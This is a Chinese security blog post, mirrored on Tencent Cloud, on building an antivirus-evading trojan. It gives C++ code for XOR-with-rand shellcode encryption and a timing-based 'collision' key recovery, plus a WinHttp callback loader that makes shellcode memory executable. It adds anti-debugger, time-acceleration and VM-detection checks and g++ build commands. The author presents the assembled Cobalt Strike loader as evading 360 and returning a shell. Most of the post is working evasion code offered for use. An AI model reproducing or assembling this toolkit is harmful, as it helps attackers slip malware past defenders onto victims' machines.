前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >shellcode随机值时间碰撞解密大法免杀

shellcode随机值时间碰撞解密大法免杀

作者头像
Creaper
发布2023-11-20 12:32:21
4800
发布2023-11-20 12:32:21
举报
文章被收录于专栏:锦鲤安全锦鲤安全
代码语言:javascript
复制
1  前言2  效果图3   前置知识
4   组合免杀马6  参考链接

01

前言

前一篇通过aes加密shellcode的免杀在主机上运行有bug,提示缺少xxx.dll文件,这是由于aes的实现依赖于第三方库openssl导致的:

于是我重新研究了自定义算法——随机值时间碰撞解密大法。不再依赖于第三方库而且这名字一听就很diao的样子😂。

02

效果图

这是新的效果图:

03

前置知识

免杀马的实现就是将shellcode加密、shellcode加载器、反沙箱及编译器编译等几种技术组合在一起实现免杀。

shellcode加密有异或加密、base64加密、aes加密、自定义加解密等几种。异或加密和base64加密也就是最简单的加密,也就是最容易被查杀的两种加密在这里暂且不考虑,普通的自定义加解密也会被SecureAge、微软等逆推能力很强的杀软查杀。因为aes依赖外部库有bug,这里重新考虑自定义算法,不同的是这里要将自定义算法的密钥做一下转换简称——随机值时间碰撞解密大法。。。

下面是自定义的异或随机值加解密:

代码语言:javascript
复制
#include <iostream>

using namespace std;

unsigned char* encrypt(unsigned char* input, int len, unsigned int key) {
    unsigned char* output = new unsigned char[len];
    srand(key);
    for (int i = 0; i < len; i++) {
        output[i] = input[i] ^ key;
        output[i] = output[i] ^ (rand() % len + 1);
    }
    return output;
}

unsigned char* decrypt(unsigned char* input, int len, unsigned int key) {
    unsigned char* output = new unsigned char[len];
    srand(key);
    for (int i = 0; i < len; i++) {
        output[i] = input[i] ^ (rand() % len + 1);
        output[i] = output[i] ^ key;
    }
    return output;
}

int main() {
    unsigned char input[] = "Hello, World!";
    unsigned int key = 123456;
    int len = sizeof input - 1;

    cout << "Original message: " << input << endl;

    unsigned char* encrypted = encrypt(input, len, key);
    cout << "Encrypted message: ";
    for (int i=0; i < len; i++)
        printf("\\x%x", encrypted[i]);
    cout << endl;

    unsigned char* decrypted = decrypt(encrypted, len, key);
    cout << "Decrypted message: ";
    for (int i = 0; i < len; i++)
        printf("%c", decrypted[i]);

    delete[] encrypted;
    delete[] decrypted;

    return 0;
}

具体加密过程:先异或加密再用key作为随机值种子生成随机数再异或加密。

后面关于key值的转换:

代码语言:javascript
复制
int i = 500;
while (i--) {
    // 获取开始时间
    auto start_time = chrono::high_resolution_clock::now();
    // 延迟100毫秒
    this_thread::sleep_for(chrono::milliseconds(100));
    // 获取结束时间
    auto end_time = chrono::high_resolution_clock::now();
    // 计算时间差
    auto elapsed_time = chrono::duration_cast<chrono::milliseconds>(end_time - start_time);
    srand(time(NULL));
    // 密钥454545先减去100毫秒,再减去15得454430,再加上时间差和0-30的随机数碰撞出原key
    unsigned char* decrypted = decrypt(lpAddress, sizeof lpAddress - 1, 454430 + elapsed_time.count() + (rand() % 30));
    if (decrypted[0] == 0xfc and decrypted[1] == 0x48) {
        // shellcode loader// ......    break;
}
}

密钥454545先减去100毫秒,再减去15得454430,再加上时间差和0-30的随机数重复500次保证碰撞出原key,再用if判断前两个字符是否与原shellcode相等,相等则加载shellcode,最后break退出循环。

由于加入了随机值和Sleep()及now()等这类计算时间的函数因此也具有反沙箱的效果,沙箱一般有加速时间的效果,这可能会导致Sleep及now()失效,导致无法碰撞出原key,关于反沙箱后面还会讲到。

前面讲了shellcode加解密,后面讲shellcode加载器。

最好用免杀更强的函数回调shellcode加载器,如http回调加载:

代码语言:javascript
复制
#include<Windows.h>
#include<winhttp.h>
#pragma comment(lib,"Winhttp.lib")

unsigned char lpAddress[] = "\xfc...";

int main(INT argc, char* argv[]) {
	DWORD lpflOldProtect;
	VirtualProtect(lpAddress, sizeof lpAddress / sizeof lpAddress[0], PAGE_EXECUTE_READWRITE, &lpflOldProtect);
	HINTERNET hSession = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
	WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hSession, (WINHTTP_STATUS_CALLBACK)&lpAddress, WINHTTP_CALLBACK_FLAG_HANDLES, 0);
	WinHttpCloseHandle(hSession);
	return 0;
}

g++编译命令:

代码语言:javascript
复制
g++ scl.cpp -o scl.exe -lwinhttp

shellcode加载器讲完,然后是反沙箱。反沙箱操作参考微信上的文章以及chatgpt给出的代码,具体效果如何未知,不过微步的沙箱是通过了的。

(1)简单监测是否是被调试:

代码语言:javascript
复制
#include <Windows.h>
#include <iostream>

using namespace std;

int main() {
    if (IsDebuggerPresent()) {
        cout << "调试器检测到当前程序" << endl;
        return 1;
    }

    BOOL bDebuggerPresent = FALSE;
    if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &bDebuggerPresent) && bDebuggerPresent) {
        cout << "远程调试器检测到当前程序" << endl;
        return 1;
    }

    if (GetSystemMetrics(SM_REMOTESESSION) != 0) {
        cout << "当前程序正在远程桌面会话中" << endl;
        return 1;
    }

    return 0;
}

(2)监测时间流速:

代码语言:javascript
复制
#include <iostream>
#include <chrono>
#include <thread>
using namespace std;

bool detect_sandbox() {
    bool is_sandbox = false;
    auto start_time = chrono::high_resolution_clock::now();

    this_thread::sleep_for(chrono::milliseconds(100));

    auto end_time = chrono::high_resolution_clock::now();
    auto elapsed_time = chrono::duration_cast<chrono::milliseconds>(end_time - start_time);

    if (elapsed_time.count() < 100) {
        is_sandbox = true;
    }

    return is_sandbox;
}

int main() {
    if (detect_sandbox()) {
        cout << "This program may be running in a sandbox!" << endl;
    } else {
        cout << "This program is not running in a sandbox." << endl;
    }

    return 0;
}

沙箱一个都有时间加速,通过这段代码判断时间是否被加速来判断是否在沙箱。

下面是通过检测硬件来反虚拟化,利用虚拟机与真实物理机之间的差异来检测,这将导致无法在虚拟机中运行。

(3)检测内存页数量
代码语言:javascript
复制
#include <Windows.h>
#include <iostream>
using namespace std;

int GetNumPages() {
    // 获取系统页面文件大小信息
    MEMORYSTATUSEX statex;
    statex.dwLength = sizeof(statex);
    if (!GlobalMemoryStatusEx(&statex)) {
        cerr << "Failed to get system memory status." << endl;
        return 1;
    }

    SYSTEM_INFO systemInfo;
    GetSystemInfo(&systemInfo);
    return statex.ullTotalPageFile / systemInfo.dwPageSize;
}

int main() {
    int numPages = GetNumPages();
    cout << numPages << endl;
    if (numPages < 4000000) {
        cout << "内存页小于正常值,可能处于虚拟机环境" << endl;
        return 1;
    }
    return 0;
}
(4)检测硬盘数量
代码语言:javascript
复制
#include <Windows.h>
#include <iostream>
using namespace std;

int GetNumDrives() {
    DWORD drives = GetLogicalDrives();
    int numDrives = 0;
    for (char i = 0; i < 26; i++) {
        if (drives & (1 << i)) {
            char path[4];
            sprintf_s(path, "%c:\\", 'A' + i);
            UINT type = GetDriveTypeA(path);
            if (type == DRIVE_FIXED || type == DRIVE_REMOVABLE) {
                numDrives++;
            }
        }
    }
    return numDrives;
}

int main() {
    int numDrives = GetNumDrives();
    cout << numDrives << endl;
    if (numDrives < 2) {
        cout << "硬盘数量小于正常值,可能处于虚拟机环境" << endl;
        return 1;
    }
    return 0;
}
(5)检测CPU数量
代码语言:javascript
复制
#include <Windows.h>
#include <iostream>
using namespace std;

int main() {
    SYSTEM_INFO systemInfo;
    GetSystemInfo(&systemInfo);
    cout << systemInfo.dwNumberOfProcessors << endl;
    if (systemInfo.dwNumberOfProcessors <= 4) {
        cout << "CPU数量小于正常值,可能处于虚拟机环境" << endl;
        return 1;
    }
    return 0;
}
(6)检测网络适配器数量
代码语言:javascript
复制
#include <iostream>
#include <Winsock2.h>
#include <iphlpapi.h>
#include <windows.h>
using namespace std;
#pragma comment(lib, "iphlpapi.lib")

int GetNumAdapters() {
    DWORD dwSize = 0;
    GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, NULL, &dwSize);
    PIP_ADAPTER_ADDRESSES pAddresses = (PIP_ADAPTER_ADDRESSES)new BYTE[dwSize];
    GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, pAddresses, &dwSize);
    int numAdapters = 0;
    PIP_ADAPTER_ADDRESSES pCurrAddresses = pAddresses;
    while (pCurrAddresses) {
        if (pCurrAddresses->OperStatus == IfOperStatusUp) {
            numAdapters++;
        }
        pCurrAddresses = pCurrAddresses->Next;
    }
    return numAdapters;
}

int main() {
    int numAdapters = GetNumAdapters();
    cout << numAdapters << endl;
    if (numAdapters < 2) {
        cout << "网络适配器数量小于正常值,可能处于虚拟机环境" << endl;
        return 1;
    }
    return 0;
}

最后是编译器的选择也是重要的一点,有visual studio和g++,选择g++编译,g++编译比vs低两个数量,vs打包空exe在vt有3个报毒,使用g++是1个报毒,但是g++的缺点也很明显g++打包大小3m,vs打包大小20k。

04

组合免杀马

将前面的几种技术组合在一起就是一个免杀马。

先从cs导出c语言的shellcode,用前面的自定义的异或随机值加解密。

复制前面16进制的代码到shelllcode加载器:

再复制前面的反沙箱代码到shellcode加载器:

key用随机值时间碰撞解密大法:

到这里免杀木马基本完成,测试以下能否反弹shell,用g++编译:

代码语言:javascript
复制
g++ scl.cpp -o scl.exe -lwinhttp -liphlpapi

在虚拟机中测试:

提示是这是虚拟机同时终止运行。

放主机上测试,主机上的360没有报毒:

放VT和微步就是前面的截图。

05

源码下载

关注微信公众号回复:

30217

06

参考链接

https://mp.weixin.qq.com/s/6bCdeCP-L9YHXfabzozwZQ https://mp.weixin.qq.com/s/hATwflcVvA4JeIljP1nE1Q

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-02-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 锦鲤安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • (3)检测内存页数量
  • (4)检测硬盘数量
  • (5)检测CPU数量
  • (6)检测网络适配器数量
相关产品与服务
远程调试
远程调试(Remote Debugging,RD)在云端为用户提供上千台真实手机/定制机/模拟器设备,快速实现随时随地测试。运用云测技术对测试方式、操作体验进行了优化,具备多样性的测试能力,包括随时截图和记录调试日志,稳定的支持自动化测试, 设备灵活调度,用例高效执行, 快速定位产品功能和兼容性问题。云手机帮助应用、移动游戏快速发现和解决问题,节省百万硬件费用,加速敏捷研发流程。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档